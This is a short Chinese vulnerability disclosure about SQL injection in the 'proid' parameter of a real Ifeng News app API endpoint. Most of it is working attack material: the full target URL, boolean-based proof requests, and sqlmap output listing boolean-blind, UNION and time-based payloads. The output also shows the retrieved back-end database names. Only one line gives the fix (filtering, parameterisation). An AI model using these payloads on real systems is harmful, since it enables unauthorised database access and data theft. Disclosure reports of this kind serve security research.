凤凰新闻手机app的一个api接口过滤不严，存在注入漏洞。
注入点：http://api.iapps.ifeng.com/news/upgrade.json?gv=4.2.0&proid=ifengnews&os=android_19&screen=720x1206&publishid=2011&zip=1，受影响参数：proid
证明：
http://api.iapps.ifeng.com/news/upgrade.json?gv=4.2.0&proid=ifengnews' and '12'='12&os=android_19&screen=720x1206&publishid=2011&zip=1 返回正常数据
http://api.iapps.ifeng.com/news/upgrade.json?gv=4.2.0&proid=ifengnews' and '22'='12&os=android_19&screen=720x1206&publishid=2011&zip=1 返回数据异常
sqlmap无压力，貌似凤凰汽车频道的库也在其中，
sqlmap identified the following injection points with a total of 50 HTTP(s) requests:
---
Place: GET
Parameter: proid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: gv=4.2.0&proid=ifengnews' AND 8025=8025 AND 'lqID'='lqID&os=android_19&screen=720x1206&publishid=2011&zip=1
Type: UNION query
Title: MySQL UNION query (NULL) - 14 columns
Payload: gv=4.2.0&proid=-6406' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7166717471,0x457a716d67506d734978,0x716d696471),NULL,NULL,NULL,NULL,NULL#&os=android_19&screen=720x1206&publishid=2011&zip=1
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: gv=4.2.0&proid=ifengnews' AND SLEEP(5) AND 'tWlX'='tWlX&os=android_19&screen=720x1206&publishid=2011&zip=1
---
[09:36:11] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5.0.11
[09:36:11] [INFO] fetching database names
[09:36:11] [INFO] the SQL query used returns 5 entries
[09:36:11] [INFO] retrieved: "information_schema"
[09:36:11] [INFO] retrieved: "auto_ifeng"
[09:36:11] [INFO] retrieved: "auto_ifeng_2"
[09:36:11] [INFO] retrieved: "mobile_ifeng"
[09:36:12] [INFO] retrieved: "test"
available databases [5]:
[*] auto_ifeng
[*] auto_ifeng_2
[*] information_schema
[*] mobile_ifeng
[*] test
修复方案：
过滤，参数化
